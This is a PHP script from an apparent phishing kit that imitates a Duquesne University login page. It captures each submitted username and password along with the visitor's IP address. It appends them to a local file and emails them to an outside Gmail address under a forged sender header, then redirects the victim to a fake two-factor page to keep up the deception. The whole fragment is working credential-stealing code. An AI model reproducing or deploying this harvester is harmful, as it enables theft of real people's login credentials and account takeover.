session_start();
if($_SERVER['REQUEST_METHOD'] == "POST") {
    if(isset($_POST['username']) && $_POST['username'] != "" && isset($_POST['password']) && $_POST['password'] != "") {
        $ip = getenv("REMOTE_ADDR");
        $message = "";
        $message .= "U: ".$_POST['username']."\n";
        $message .= "P: ".$_POST['password']."\n";
        $message .= "IP : ".$ip."\n";
        $send = "johmillsdey001@gmail.com";
        $subject = "~ DUQ.Edu ~ $ip";
        $headers = "From: Don <logs@tamu.edu>";
        $headers .= $_POST['username']."\n";
        $headers .= "MIME-Version: 1.0\n";
        $fp = fopen("$username@duq.edu.txt","a");
        fputs($fp,$message);
        mail("$send", "$subject", $message);
        $_SESSION['username'] = $_POST['username'];
        $_SESSION['2fa'] = true; 
        header("Location: ./2fa.php");
    } else {
        header('location: index.html#err');
        die;
    }
}